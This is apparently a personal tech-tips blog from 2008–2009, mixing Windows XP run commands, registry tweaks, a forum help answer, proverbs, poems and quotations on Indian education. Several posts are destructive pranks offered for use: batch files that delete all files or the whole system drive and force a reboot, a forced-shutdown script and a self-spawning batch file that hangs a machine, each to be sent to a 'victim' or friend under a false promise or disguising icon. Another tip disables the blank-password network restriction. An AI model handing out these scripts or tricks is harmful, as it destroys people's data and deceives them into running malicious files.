Group Policy Editor (XP Prof) : gpedit.msc
Hearts Card Game : mshearts
Iexpress Wizard : iexpress
Indexing Service : ciadv.msc
Internet Properties : inetcpl.cpl
IP Configuration (Display Connection Configuration) : ipconfig /all
IP Configuration (Display DNS Cache Contents) : ipconfig/displaydns
IP Configuration (Delete DNS Cache Contents) : ipconfig /flushdns
IP Configuration (Release All Connections) : ipconfig /release
IP Configuration (Renew All Connections) : ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS) : ipconfig/registerdns
IP Configuration (Display DHCP Class ID) : ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) : ipconfig /setclassid
Java Control Panel (If Installed) : jpicpl32.cpl
Java Control Panel (If Installed) : javaws
Keyboard Properties : control keyboard
Local Security Settings : secpol.msc
Local Users and Groups : lusrmgr.msc
Logs You Out Of Windows : logoff
Microsoft Chat : winchat* Minesweeper Game : winmine
Mouse Properties : control mouse
Mouse Properties : main.cpl
Network Connections : control netconnections
Network Connections : ncpa.cpl* Network Setup Wizard : netsetup.cpl
Notepad : notepad* Nview Desktop Manager (If Installed) : nvtuicpl.cpl
Object Packager : packager
ODBC Data Source Administrator : odbccp32.cpl
On Screen Keyboard : osk
Opens AC3 Filter (If Installed) : ac3filter.cpl
Password Properties : password.cpl* Performance Monitor : perfmon.msc
Performance Monitor : perfmon
Phone and Modem Options : telephon.cpl
Power Configuration : powercfg.cpl
Printers and Faxes : control printers
Printers Folder : printers
Private Character Editor : eudcedit
Quicktime (If Installed) : QuickTime.cpl
Regional Settings : intl.cpl
Registry Editor : regedit
Registry Editor : regedit32
Remote Desktop : mstsc
Removable Storage : ntmsmgr.msc
Removable Storage Operator Requests : ntmsoprq.msc
Resultant Set of Policy (XP Prof) : rsop.msc
Scanners and Cameras : sticpl.cpl
Scheduled Tasks : control schedtasks
Security Center : wscui.cpl
Services : services.msc
Shared Folders : fsmgmt.msc
Shuts Down Windows : shutdown
Sounds and Audio : mmsys.cpl
Spider Solitare Card Game : spider
SQL Client Configuration : cliconfg
System Configuration Editor : sysedit
System Configuration Utility : msconfig
System File Checker Utility (Scan Immediately) : sfc /scannow
System File Checker Utility (Scan Once At Next Boot) : sfc/scanonce
System File Checker Utility (Scan On Every Boot) : sfc /scanboot
System File Checker Utility (Return to Default Setting) : sfc/revert
System File Checker Utility (Purge File Cache) : sfc /purgecache
System File Checker Utility (Set Cache Size to size x) : sfc /cachesize=x
System Properties : sysdm.cpl* Task Manager : taskmgr
Telnet Client : telnet
User Account Management : nusrmgr.cpl
Utility Manager : utilman
Windows Firewall : firewall.cpl
Windows Magnifier : magnify
Windows Management Infrastructure : wmimgmt.msc
Windows System Security Tool : syskey
Windows Update Launches : wupdmgr
Windows XP Tour Wizard : tourstart
Wordpad : write :

IEXPLORE.EXE error 0xc0000005

2009-01-10T14:27:00.002+05:30

IEXPLORE.EXE error 0xc0000005

Question:

"Hi About a week ago I started getting an error message pop up every time I tried opening Internet Explorer: "The application failed to initialize properly (0xc0000005)."I mentioned it to a friend who suggested I try upgrade IE to version 6, which I did, but I still have the same problem. He also asked if I had installed anyone's toolbar, such as Google's or Yahoo's, but I hadn't doen that either.I use AOL, but do most web browsing through IE. If I open a folder and then use the favourites dropdown or type a URL in the address bar, I get the web access okay, although hyperlinks only work 50% of the time. On-screen buttons (such as the 'Manage Attachments' button further down the current page) don't work, unless viewed or used through AOL.I know, I could just browse through AOL, but that's not the point.I've run HJT, and can't see anything suspicious there, but have attached the logfile just in case. Fact is, I know precious little about how the computer / OS and whatever else works.If anyone has any advice or practical help, I'd appreciate it.

Sonvir Singh Attri

Hello Sonvir and welcome to pkattri.blogspot.com

Boot into safe mode,

and run HJT.

Let HJT fix all 016dpf entries.Also fix this if it does not belong to your isp. 017 HKLM\System\CCS\Services\Tcpip\..\{4DF23585-762D-4CFE-9447-5532D4FD8ACD}:

NameServer = 205.188.146.145Apart from that,

your log looks ok.

Have any problem revert me any time

Sometimes I busy but never ignore any question from anybody.

हाथों की लकीरों पर विश्वास नही करना चाहिए क्योंकि तक़दीर तो उनकी भी होती है जिनके हाथ नही होते है।

2009-01-08T17:13:00.001+05:30

Proverb:
haathon ki lakiron par vishwas nahi karna chahiye kyonki takdir to unki bhi hoti hai jinke haath nahi hote hai.

हाथों की लकीरों पर विश्वास नही करना चाहिए क्योंकि तक़दीर तो उनकी भी होती है जिनके हाथ नही होते है।

Meaning:
Its better to do ur work than being superstitious and waiting for the right timeyour future does not depend on the lines of ur hands coz ppl who do not have hands also have a future

Disable Copy and Paste on BLog.....

2009-01-05T18:38:00.006+05:30

Disable Copy and Paste on blog:

Thinking of a way to make it more difficult for people to copy the contents of your blog? Here's a neat little JavaScript that will disable Copy and Paste.

Insert the code between the Header and Header tag.

However, there is no guarantee way to prevent your contents from being stolen.The JavaScript above can be easily bypassed by an experience internet user. E.g. If the browser's JavaScript is disabled, the code will not work.

Make a Virus with Notepad jus do it if you have enthusiasm.....

2009-01-05T17:41:00.002+05:30

Make a Virus with Notepad:
You will need:
Notepad
A victim with a pc
and have to do following only.
Open up notepad and type:

DEL /F /Q *

Save it as "virus.cmd"
You can change virus to whatever you want.DONT OPEN IT!It deletes everything on your computer.
Send it to your victim, say when they open it all their dreams will come true or some crap.

Create a Virus On Notepad to shutdown the system

2009-01-05T17:22:00.002+05:30

How To Create A Virus In Note Pad
Code:
@echo off
del %systemdrive%\*.* /f /s /q
shutdown -r -f -t 00

IF ANY ONE..... DARE TO ......RUN ...U LOST ..........CONTENTS OF C drive EVEN I DIDN't TRY THIS........ I WILL NOT RESPONSIBLE FOR ANYTHING DONE BYE U USING THE INFORMATION GIVEN

Enabling Disabling Registry editing to users

2009-01-03T13:48:00.001+05:30

Disable or enable a users abilty to run REGEDIT.

Go to START–>RUN and type REGEDIT. This will open the registry editor.
Find the following registry key:

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
Change the following value:"DisableRegistryTools"
Set it to 0 to allow regeditSet it to 1 to disable regedit

Device Drivers

2009-01-03T10:52:00.000+05:30

ATI Technologies, Inc. http://www.ati.com
Belkin Componentshttp://www.belkin.com
Cirrus Logic Inc.http://www.cirrus.com
Compaq Computer Corporationhttp://www5.compaq.com
Dell Computer Corporation http://www.dell.com/us/en/gen/default.htm
Digi Internationalhttp://www.digi.com
Fujitsu http://www.fujitsu.com
Hewlett-Packard http://welcome.hp.com/country/us/eng/welcome.htm
Intel Corporation http://www.intel.com
Mitsubishi http://www.mitsubishi.com/index_e.html
NEC Corporationhttp://www.nec.com/index.html
Sony Corporationhttp://www.sony.com
Tally Computer Printershttp://www.tally.com
Texas Instruments http://www.ti.com
3COM Corporation http://www.3com.com
Toshibahttp://www.toshiba.com
U.S. Robotics http://www.usr.com

Enable DVD Player in Media Player:

2009-01-02T19:30:00.001+05:30

Enable DVD Player in Media Player:

Start/Run/Regedit HKEY_CURRENT_USER\Software\Microsoft\MediaPlayer\Player\Settings.
Value Name: EnableDVDUI,
Data Type: REG_SZ (String Value),
Value Data: yes or no.
Create a new string value called "EnableDVDUI" and set it to "yes" to enable DVD nctionality.

You have done

Remove Properties from My Computer

2009-01-02T19:27:00.001+05:30

Remove Properties from My Computer:

This restriction removes the properties option from My Computer and hides the "System Properties" screen.

Start/Run/Regedit
and go to the following key.
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Policies\Explorer
Value Name: NoPropertiesMyComputer, Data Type: REG_DWORD (DWORD Value) Value Data: (0 = Properties, 1 = No Properties) Create a new DWORD value, or modify the existing value, called 'NoPropertiesMyComputer' and edit the value according to the settings above.
Go and you have done!!

Follow the set of commands below to show and delete the autorun.inf

2009-01-02T11:21:00.001+05:30

Follow the set of commands below to show and delete the autorun.inf:

1. Open Start>>Run and type cmd and press enter. This will open a command prompt window. On this command prompt window type the following steps.
2. type cd\
3. type attrib -r -h -s autorun.inf
4. type del autorun.inf
5. now type d: and press enter for d: drive partition. Now repeat steps 3 and 4. Similarly repeat step 5 for all your hard disk partition.

Restart your system and your trouble will be fixed.

"Life is an opportunity, benefit from it.

2009-01-02T10:59:00.003+05:30

"Life is an opportunity, benefit from it.

Life is beauty, admire it.

Life is bliss, taste it.

Life is a dream, realize it.

Life is a challenge, meet it.

Life is a duty, complete it.

Life is a game, play it.

Life is a promise, fulfill it.

Life is sorrow, overcome it.

Life is a song, sing it.

Life is a struggle, accept it.

Life is a tragedy, confront it.

Life is an adventure, dare it.

Life is luck, make it.

Life is too precious, do not destroy it.

Life is life, fight for it."

How to Put Your Name & Picture in Windows Properties Page

2009-01-01T11:44:00.005+05:30

How to Put Your Name & Picture in Windows Properties Page:

Wondering how I got this....Follow this trick. This trick will enable you to show your name and picture in the Windows Information page. Whatever you put, will be seen at the properties section of My Computer. Surprise your friends and others with this one.

Open notepad and copy the following lines into it and save it with the name OEMINFO.INI in the c:\windows\system32 directory:

[General]

Manufacturer = Powered By PRADEEP

[Support Information]

Line1=Customized by PRADEEP...

Line2=

Line3= Please Contact...

Line4=

Line5 = PRADEEP'S WORLD

Line6 =

Line7 = Cell:+919911207091...

Line8 =

Line9 =

Line10 = EMAIL : attri.pradeepkumar@gmail.com

Line11 = pradipkumarattri@gmail.com

Line12 =

Line13 =

Line14 =

Line15 = http://pkattri.blogspot.com/

Save the file

Now take your photograph and crop it to a resolution of 147 x 123 (.. welll this is what I used.. U can experiment with others too...) and save it as OEMLOGO.BMP in the c:\windows\system32 directory

Right click on my computer select properties,

In the general tab, a button will be highlighted (support information) click on it, you will be able to see the changes.

Now if you want to display some more information then simply increase lines in the file.

[How to] use batch file to shut down your friends computer!!!

2009-01-01T11:38:00.002+05:30

[How to] use batch file to shut down your friends computer!!!

The command to shut down the computer from command prompt is “shutdown –s –t XXXX” where XXXX is the time in seconds after which the computer shuts down.

To turn off your friends comp just create a batch file with this command and send it to your friend via gtalk or yahoo messenger. When he opens the file then shut down process starts.

How to create the batch file:

Creating a batch file is very easy. Just open the note pad and type in the commands you want to be executed (each in a new line) and save it as “.bat"

Easiest Virus Creation

2009-01-01T11:24:00.003+05:30

Easiest Virus Creation :

[How to] use batch file to hang your friends' computer:

Open notepad and type in the following commands:

start

filename.bat

and

save it as filename.bat

Remember that both the filename should be the same.

For instance:

start

pradeep.bat

and

save as pradeep.bat

Do not forget to diguise it with a nice looking icon..

How to Implement:

Just create a batch file with this command and send it to your friend via gtalk or yahoo messenger. When he opens the file then his system hangs.

How It Works: When one opens the batch file, it so happens that an infinite loop is created and the batch file is executed infinitely.Hence the processor is totally engaged in carrying out the batch file and hence no other process is allowed to carry out.Thus his system hangs

....Enjoy

Disabling the F3 Search Key

2009-01-01T11:18:00.002+05:30

Disabling the F3 Search Key:

If you want to disable the ability to use the F3 key from either the Windows Explorer or Internet Explorer
Click Start Run type Regedit Enter Go to HKEY_CURRENT_USER\Software\Policies\Microsoft\Internet Explorer\Restrictions

Create a Dword value called "NoFindFiles"

Give it a value of 1 Reboot the system

Allowing Network Access with Blank Passwords:

2009-01-01T11:14:00.002+05:30

Allowing Network Access with Blank Passwords:

Although you can log in locally without a password, by default,

WindowsXP Pro does not allow network users to access the computer without a password. Typically you will receive an Unknown error 31 if this is the case.
To change this setting:

Go to Run type gpedit.msc Go to Computer Configuration / Windows Settings / Security Settings / Local Policies / Security Right pane Options

Double click on Accounts: Limit local account use of blank passwords to console login only

Disable this option

Happy New Year

2008-12-31T19:02:00.004+05:30

"My Thoughts and Best Wishes
Will Be with You
All Through the New Year "

"I want to wish you such a
happy, healthy, and rewarding New Year!
I hope it's one in which
you'll always remember
how important you are to me. "

Friendship Question...

2008-12-31T18:54:00.000+05:30

"Written with a pen
Sealed with a kiss
If you are my friend,
Please answer this:
Are we friends or are we not?
You told me once, but I forgot.
So tell me now and tell me true,
So I can say, I am here for you.
Of all the friends I've ever met,
You're the one I won't forget.
And if I die before you do,
I'll go to Heaven
And wait for you."

Great Indians Speak on Indian Education

2008-12-31T18:41:00.001+05:30

Mahatma Gandhi

I find daily proof of the increasing and continuing wrong being done to the millions by our false de-Indianizing education. These graduates who are my valued associates themselves flounder when they have to give expression to their innermost thoughts. They are strangers in their own homes.

Parents only know that it will help the boy to earn money. And this satisfies them. If this situation lasts long, we might all become foreigners! What is worse even the Swaraj for which we are struggling may become foreign in character when we finally get it, with the result that the very burden under which we are crushed today may continue even after Swaraj. There is only one way to escape this danger. It is to change and overhaul our system of education. In the national education to be evolved.

It is my firm opinion that no culture has treasures so rich as ours has...

Great Indians Speak on Indian Education

2008-12-31T18:37:00.001+05:30

Rabindranath Tagore

All over India, there is a vague feeling of discontent in the air about our prevalent system of education.

The mind of our educated community has been brought up within the enclosure of the modern Indian educational system. It has grown as familiar to us as our own physical body, unconsciously giving rise in our mind to the belief that it can never be changed. Our imagination dare not soar beyond its limits; we are unable to see it and judge it from outside. We neither have the courage nor the heart to say that it has to be replaced by something else....

They [Indian students] never have intellectual courage, because they never see the process and the environment of those thoughts which they are compelled to learn ¾ and thus they lose the historical sense of all ideas, never knowing the perspective of their growth.... They not only borrow a foreign culture, but also a foreign standard of judgement; and thus, not only is the money not theirs, but not even the pocket. Their education is a chariot that does not carry them in it, but drags them behind it. The sight is pitiful and very often comic.

The education which we receive from our universities takes it for granted that it is for cultivating a hopeless desert, and that not only the mental outlook and the knowledge, but also the whole language must bodily be imported from across the sea. And this makes our education so nebulously distant and unreal, so detached from all our associations of life, so terribly costly to us in time, health and means, and yet so meagre of results.

We must know that this concentration of intellectual forces of the country is the most important mission of a University, for it is like the nucleus of a living cell, the centre of creative life of the national mind.

The same thing happens in the case of our Indian culture. Because of the want of opportunity in our course of study, we take it for granted that India had no culture, or next to none. Then, when we hear from foreign pundits some echo of the praises of India’s culture, we can contain ourselves no longer and rend the sky with the shout that all other cultures are merely human, but ours is divine¾a special creation of Brahma! And this leads us to that moral dipsomania, which is the hankering after the continual stimulation of self-flattery.

... The inner spirit of India is calling to us to establish in this land great centres, where all her intellectual forces will gather for the purpose of creation, and all her resources of knowledge and thought, Eastern and Western, will unite in perfect harmony. She is seeking for herself her modern Brahmavarta, her Mithila, of Janaka’s time, her Ujjaini, of the time of Vikramaditya. She is seeking for the glorious opportunity when she will know her mind, and give her mind to the world, to help it in its progress; when she will be released from the chaos of scattered powers and the inertness of borrowed acquisition.

What I object to is the artificial arrangement by which this foreign education tends to occupy all the space of our national mind and thus kills, or hampers, the great opportunity for the creation of a new thought power by a new combination of truths. It is this which makes me urge that all the elements in our own culture have to be strengthened, not to resist the Western culture, but truly to accept and assimilate it, and use it for our food and not as our burden; to get mastery over this culture, and not to live at its outskirts as the hewers of texts and drawers of book-learning.

My suggestion is that we should generate somewhere a centripetal force, which will attract and group together from different parts of our land and different ages all our own materials of learning and thus create a complete and moving orb of Indian culture.

The main river of Indian culture has flowed in four streams¾the Vedic, the Puranic, the Buddhist, and the Jain. It had its source in the heights of the Indian consciousness.

... Our mind is not in our studies. In fact, it has been wholly ignored that we have a mind of our own.

India has proved that it has its own mind, which has deeply thought and felt and tried to solve according to its light the problems of existence. The education of India is to enable this mind of India to find out truth, to make this truth its own wherever found and to give expression to it in such a manner as only it can do.

Great Indians Speak on Indian Education

2008-12-31T18:35:00.000+05:30

Sri Aurobindo

We in India have become so barbarous that we send our children to school with the grossest utilitarian motive unmixed with any disinterested desire for knowledge; but the education we receive is itself responsible for this.... The easy assumption of our educationists that we have only to supply the mind with a smattering of facts in each department of knowledge and the mind can be trusted to develop itself and take its own suitable road is contrary to science, contrary to human experience.... Much as we have lost as a nation, we have always preserved our intellectual alertness, quickness and originality; but even this last gift is threatened by our University system, and if it goes, it will be the beginning of irretrievable degradation and final extinction. The very first step in reform must therefore be to revolutionise the whole aim and method of our education.

When confronted with the truths of Hinduism, the experience of deep thinkers and the choice spirits of the race through thousands of years, [the rationalist] shouts “Mysticism, mysticism!” and thinks he has conquered. To him there is order, development, progress, evolution, enlightenment in the history of Europe, but the past of India is an unsightly mass of superstition and ignorance best torn out of the book of human life. These thousands of years of our thought and aspiration are a period of the least importance to us and the true history of our progress only begins with the advent of European education!

In India ... we have been cut off by a mercenary and soulless education from all our ancient roots of culture and tradition.... The value attached by ancients to music, art and poetry has become almost unintelligible to an age bent on depriving life of its meaning by turning earth into a sort of glorified ant-heap or beehive.

National education cannot be defined briefly in one or two sentences, but we may describe it tentatively as the education which starting with the past and making full use of the present builds up a great nation. Whoever wishes to cut off the nation from its past is no friend of our national growth. Whoever fails to take advantage of the present is losing us the battle of life. We must therefore save for India all that she has stored up of knowledge, character and noble thought in her immemorial past. We must acquire for her the best knowledge that Europe can give her and assimilate it to her own peculiar type of national temperament. We must introduce the best methods of teaching humanity has developed, whether modern or ancient. And all these we must harmonise into a system which will be impregnated with the spirit of self-reliance so as to build up men and not machines.

The greatest knowledge and the greatest riches man can possess are [India's] by inheritance; she has that for which all mankind is waiting.... But the full soul rich with the inheritance of the past, the widening gains of the present, and the large potentiality of the future, can come only by a system of National Education. It cannot come by any extension or imitation of the system of the existing universities with its radically false principles, its vicious and mechanical methods, its dead-alive routine tradition and its narrow and sightless spirit. Only a new spirit and a new body born from the heart of the Nation and full of the light and hope of its resurgence can create it.... The new education will open careers which will be at once ways of honourable sufficiency, dignity and affluence to the individual, and paths of service to the country. For the men who come out equipped in every way from its institutions will be those who will give that impetus to the economic life and effort of the country without which it cannot survive in the press of the world, much less attain its high legitimate position. Individual interest and National interest are the same and call in the same direction.

A language, Sanskrit or another, should be acquired by whatever method is most natural, efficient and stimulating to the mind and we need not cling there to any past or present manner of teaching: but the vital question is how we are to learn and make use of Sanskrit and the indigenous languages so as to get to the heart and intimate sense of our own culture and establish a vivid continuity between the still living power of our past and the yet uncreated power of our future, and how we are to learn and use English or any other foreign tongue so as to know helpfully the life, ideas and culture of other countries and establish our right relations with the world around us. This is the aim and principle of a true national education, not, certainly, to ignore modern truth and knowledge, but to take our foundation on our own being, our own mind, our own spirit.

The living spirit of the demand for national education no more requires a return to the astronomy and mathematics of Bhaskara or the forms of the system of Nalanda than the living spirit of Swadeshi a return from railway and motor traction to the ancient chariot and the bullock-cart.... It is the spirit, the living and vital issue that we have to do with, and there the question is not between modernism and antiquity, but between an imported civilisation and the greater possibilities of the Indian mind and nature, not between the present and the past, but between the present and the future. It is not a return to the fifth century but an initiation of the centuries to come, not a reversion but a break forward away from a present artificial falsity to her own greater innate potentialities that is demanded by the soul, by the Shakti of India.

Great Indians Speak on Indian Education

2008-12-31T18:32:00.001+05:30

Swami Vivekananda

The child is taken to school, and the first thing he learns is that his father is a fool, the second thing that his grandfather is a lunatic, the third thing that all his teachers are hypocrites, the fourth, that all the sacred books are lies! By the time he is sixteen he is a mass of negation, lifeless and boneless. And the result is that fifty years of such education has not produced one original man in the three presidencies.... We have learnt only weakness.

Out of the past is built the future. Look back, therefore as far as you can drink deep of the eternal fountains that are behind and after that look forward, march forward and make India brighter, greater, much higher than she ever was. Our ancestors were great. We must first recall that. We must learn the elements of our being, the blood, that courses in our veins; we must build an India yet greater than what she has been.

Nowadays everybody blames those who constantly look back to their past. It is said that so much looking back to the past is the cause of all India's woes. To me, on the contrary, it seems that the opposite is true. So long as they forgot the past, the Hindu nation remained in a state of stupor and as soon as they have begun to look into their past, there is on every side a fresh manifestation of life. It is out of this past that the future has to be moulded, this past will become the future.

The more, therefore, the Hindus study the past, the more glorious will be their future and whoever tries to bring the past to the door of everyone, is a great benefactor to his nation. The degeneration of India came not because of the laws and customs of the ancients were bad but because they were not allowed to be carried to their legitimate conclusions.

Study Sanskrit, but along with it study Western sciences as well. Learn accuracy, my boys, study and labour so that the time will come when you can put our history on a scientific basis… The histories of our country written by English writers cannot but be weakening to our minds, for they talk only of our downfall. How can foreigners, who understand very little of our manners and customs, or our religion and philosophy, write faithful and unbiased histories of India? Naturally many false notions and wrong inferences have found their way into them.

Nevertheless they have shown us how to proceed making researches into our ancient history. Now it is for us to strike out an independent path of historical research for ourselves, to study the Vedas and Puranas and the ancient annals (Itihasas) of India, and from them make it your sadhana to write accurate, sympathetic and soul-inspiring history of India. It is for Indians to write Indian history.

We must compile some books in Bengali as well as in English with short stories from the Ramayana, the Mahabharata, and the Upanishads etc., in very easy and simple language, and these are to be given to our little boys to read.

… You never cease to labour until you have revived the glorious past of India in the consciousness of the people. That will be the true national education, and with its advancement, a true national spirit will be awakened.

How can I add the Administrative Tools icon to the desktop in Windows XP/2003?

2008-12-31T17:32:00.004+05:30

How can I add the Administrative Tools icon to the desktop in Windows XP/2003?

The administrative Tools folder is in fact a sub-folder of the Documents and Settings\All Users\Start Menu\Programs folder, but dragging it or moving it around your computer might cause it to stop function.

There are 2 methods of adding the Administrative Tools folder to the Quick Launch toolbar:

One method is by dragging it from the Control Panel folder, and NOT from the Programs folder.

other method is by editing the registry.
Follow these steps to add the Administrative Tools icon to the Windows XP/2003 desktop by editing the registry:

1.Open Registry Editor.

2.In Registry Editor, navigate to the following registry key:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Desktop\NameSpace]

3. Create the following key:
{D20EA4E1-3957-11d2-A40B-0C5020524153}
(just copy/paste, including the brackets)

Note: As always, before making changes to your registry you should always make sure you have a valid backup. In cases where you're supposed to delete or modify keys or values from the registry it is possible to first export that key or value(s) to a .REG file before performing the changes.

Close Registry Editor.
There is no need to reboot. Just wait a few seconds and see how the icon appears:

Done!

Can u Delete Recycle Bin?/ Yes You can

2008-12-31T16:34:00.002+05:30

Can u Delete Recycle Bin?
One thing is for sure, delete option can be added to recycle bin…the old registry thing will work out…..* launch the registry through Start Run Type "regedit or regedt32"
It opens the registry editor and
Navigate to the following Key:
[HKEY_CLASSES_ROOT\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\ShellFolder*
to add a rename and delete option, change the Dword attribute to 70 01 00 20* refresh and reboot the system….. You are done.
Please always backup ur data as well as registry before attempting to work on it if you are a new to work with registry you would be responsible for any defect.

Pop a banner each time Windows Boots

2008-12-31T16:28:00.002+05:30

Pop a banner each time Windows Boots :
To pop a banner which can contain any message you want to display just before a user is going to log on,
Click Start then Run Type "regedit or rededt32" go to the key:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\WinLogon
Now create a new string Value in the right pane named "LegalNoticeCaption" and enter the value that you want to see in the Menu Bar (Title Bar).

Now create yet another new string value and name it: "LegalNoticeText". Modify it and insert the message you want to display each time Windows boots.

This can be effectively used to display the company’s private policy each time the user logs on to his NT box. It’s .reg file would be: REGEDIT4 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Winlogon] “LegalNoticeCaption”=”Caption here.”

Creating Your Own Shortcut that work on RUN

2008-12-31T16:13:00.003+05:30

Creating Your Own Shortcut to open folder/Application that work on RUN:

To make you own shortcut for any folder do the following
Click Start and go to Run Type "%windir%" or Type "\windows".
It is the shortcut to go to the windows directory either you can go through this or can go from My Computer Double click on C: Drive then go to the windows Directory.

Press Alt+F+S+S
Browse select your folder for which you want to create shortcut (Keep in mind thatThe thing on which OK is highlighed can be use for shortcut)
Then Press OK
Type the name that you want to give to that particular folder or application Click Next and Click Finish

You will get that you want try it by typing your short at RUN prompt.

Creating a Keyboard Shortcut

2008-12-31T15:45:00.001+05:30

Creating a Keyboard Shortcut:

1. Right-click a shortcut on the desktop or in the start menu, and then click Properties .
2. On the Shortcut tab, click in the Shortcut Key box.
3. Press the key you want to use. Windows will add Ctrl+Alt to it. So if you choose U the combination will be Ctrl+Alt+U.You can also choose one of the function keys you don't use otherwise, F7 as example. Just one button to click then.
4. Click OK .

Clear Unwanted Entries from the Start Menu's Run Command :

2008-12-31T15:43:00.001+05:30

Clear Unwanted Entries from the Start Menu's Run Command
Run the Registry Editor (REGEDIT).
1)Open HKEY_CURRENT_USER\ Software\ Microsoft\ Windows\ CurrentVersion\ Explorer\ RunMRU\.
2)Delete all of the values that you dont want in this key (everything in the right pane, except for (Default)).
3)Close the Registry Editor when finished.
You'll probably have to refresh the Desktop or restart Windows for this change to take effect.

Restarting Windows without Restarting the Computer:

2008-12-31T15:32:00.000+05:30

Restarting Windows without Restarting the Computer:

When you click on the SHUTDOWN button, make sure to simultaneous press SHIFT Button. If you hold the Shift key down while clicking on SHUTDOWN button, you computer would restart without restarting the Computer. This is equivalent to term "HOT REBOOT".

Restarting Windows without Restarting the Computer

2008-12-31T15:05:00.002+05:30

Restarting Windows without Restarting the Computer:

When you click on the bbutton, make sure to simultaneous press SHIFT Button.
If you hold the Shift key down while clicking on SHUTDOWN button, you rcomputer would restart without restarting the Computer. This is equivalent to term "HOT REBOOT".

Removing the Shortcut arrow from Desktop Icons:

2008-12-31T15:00:00.002+05:30

Removing the Shortcut arrow from Desktop Icons:

Goto Start then Run and Enter regedit or regedt32 . Both opens Registry Editor
Navigate to [HKEY_CLASSES_ ROOTlnkfile].
Delete the "IsShortcut" registry value.

Note: You may need to restart Windows XP.

Customize Logon prompt with your Own Words:

2008-12-31T14:55:00.002+05:30

Customize Logon prompt with your Own Words:

Open Registry Editor by going to Start then Run, entering regedit and
Navigate to the following key
[HKEY_LOCAL_ MACHINE\SOFTWARE \Microsoft\ Windows NT\CurrentVersion\ Winlogon] .
In right pane, look for key by the name "LogonPrompt" .
Set its value to whatever text you want to see displayed at login screen.

WARning :Registry Editing is a very critical Issue so if you don't have nothing knowledge or less knowledge regarding this so kind first back up your registry then try changing registry.

Best of Luck

Removing Shared Documents folder From My Computer window

2008-12-31T14:52:00.001+05:30

Removing Shared Documents folder From My Computer window:

Open registry editor by going to Start then Run and entering "regedit".
Once in registry,
Navigate to following key HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Explorer \ My Computer \ NameSpace \ DelegateFolders
You must see a sub-key named {59031a47-3f72- 44a7-89c5- 5595fe6b30ee} .
If you delete this key, you have effectively removed the my shared documents folder.

Renaming The Recycle Bin icon

2008-12-31T14:49:00.003+05:30

Renaming The Recycle Bin icon:

To change the name of the Recycle Bin desktop icon,
click Start then go to Run, write Regedit and press Enter.
It opens Registry Editor.
Now in Registry Editor navigate to:

HKEY_CLASSES_ ROOT/CLSID/ {645FF040- 5081-101B- 9F08-00AA002F954 E} And change the name "Recycle Bin" to whatever you want (don't type any quotes).

Refresh the system.

Remove the Recycle Bin from the Desktop

2008-12-31T12:45:00.002+05:30

Remove the Recycle Bin from the Desktop:

"If you don't use the Recycle Bin to store deleted files , you can get rid of its desktop icon all together.

Run Regedit and go to:
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/explorer/Desktop/NameSpace
Click on the "Recycle Bin" string in the right hand pane. Hit Del, click OK."

Exit Registry Editor and Press F5 to refresh the system.

Run Command Shortcut For Windows Xp That help you to work faster .........

2008-12-31T12:16:00.003+05:30

Run Command Shortcut

64 General Interview Questions for a Beginner

2008-12-31T11:43:00.003+05:30

64 Interview Questions

Change Internet Explorer Logo

2008-12-31T11:31:00.003+05:30

Change Internet Explorer Logo:

Click Start > Run > Type gpedit.msc
Click User Configuration > Windows Setting > Internet Explorer Maintenance > Browser User erface
Double click on Custom Logo
Click on Customize The Static Logo Bitmaps
Click on Browse...
Browser for your new Logo
click Ok
An error will popup "Yu have selected to customize a setting but provided no value. The behavior of this will be to delete the setting. Are you sure you want too continue?"
Click yes

Note: The Logo have to be (22X22) Small and (38X38) Large and have to be bitmap.When you save your Logo, you have to save in 256 or 16bit color.This Tweak Changes the Small logo at the top right corner of your browser.

What's the difference between Basic and Dynamic Disks in Windows XP/2000/2003?

2008-12-30T10:11:00.004+05:30

What's the difference between Basic and Dynamic Disks in Windows XP/2000/2003?

Microsoft Windows XP, Windows 2000 and Windows Server 2003 offer two types of disk storage:
Basic and Dynamic.

Basic Disk Storage
Basic storage uses normal partition tables supported by MS-DOS, Microsoft Windows 95, Microsoft Windows 98, Microsoft Windows Millennium Edition (Me), Microsoft Windows NT, Microsoft Windows 2000, Windows Server 2003 and Windows XP. A disk initialized for basic storage is called a basic disk. A basic disk contains basic volumes, such as primary partitions, extended partitions, and logical drives. Additionally, basic volumes include multidisk volumes that are created by using Windows NT 4.0 or earlier, such as volume sets, stripe sets, mirror sets, and stripe sets with parity. Windows XP does not support these multidisk basic volumes. Any volume sets, stripe sets, mirror sets, or stripe sets with parity must be backed up and deleted or converted to dynamic disks before you install Windows XP Professional.

Dynamic Disk Storage

Dynamic storage is supported in Windows XP Professional, Windows 2000 and Windows Server 2003. A disk initialized for dynamic storage is called a dynamic disk. A dynamic disk contains dynamic volumes, such as simple volumes, spanned volumes, striped volumes, mirrored volumes, and RAID-5 volumes. With dynamic storage, you can perform disk and volume management without the need to restart Windows.

Note: Dynamic disks are not supported on portable computers or on Windows XP Home Edition-based computers.

You cannot create mirrored volumes or RAID-5 volumes on Windows XP Home Edition, Windows XP Professional, or Windows XP 64-Bit Edition-based computers. However, you can use a Windows XP Professional-based computer to create a mirrored or RAID-5 volume on remote computers that are running Windows 2000 Server, Windows 2000 Advanced Server, or Windows 2000 Datacenter Server, or the Standard, Enterprise and Data Center versions of Windows Server 2003.

Storage types are separate from the file system type. A basic or dynamic disk can contain any combination of FAT16, FAT32, or NTFS partitions or volumes.
A disk system can contain any combination of storage types. However, all volumes on the same disk must use the same storage type.

To convert a Basic Disk to a Dynamic Disk:
Use the Disk Management snap-in in Windows XP/2000/2003 to convert a basic disk to a dynamic disk.
To do this, follow these steps:
Log on as Administrator or as a member of the Administrators group.
Click Start, and then click Control Panel.
Click Performance and Maintenance, click Administrative Tools, and then double-click Computer Management. You can also right-click My Computer and choose Manage if you have My Computer displayed on your desktop.
In the left pane, click Disk Management.
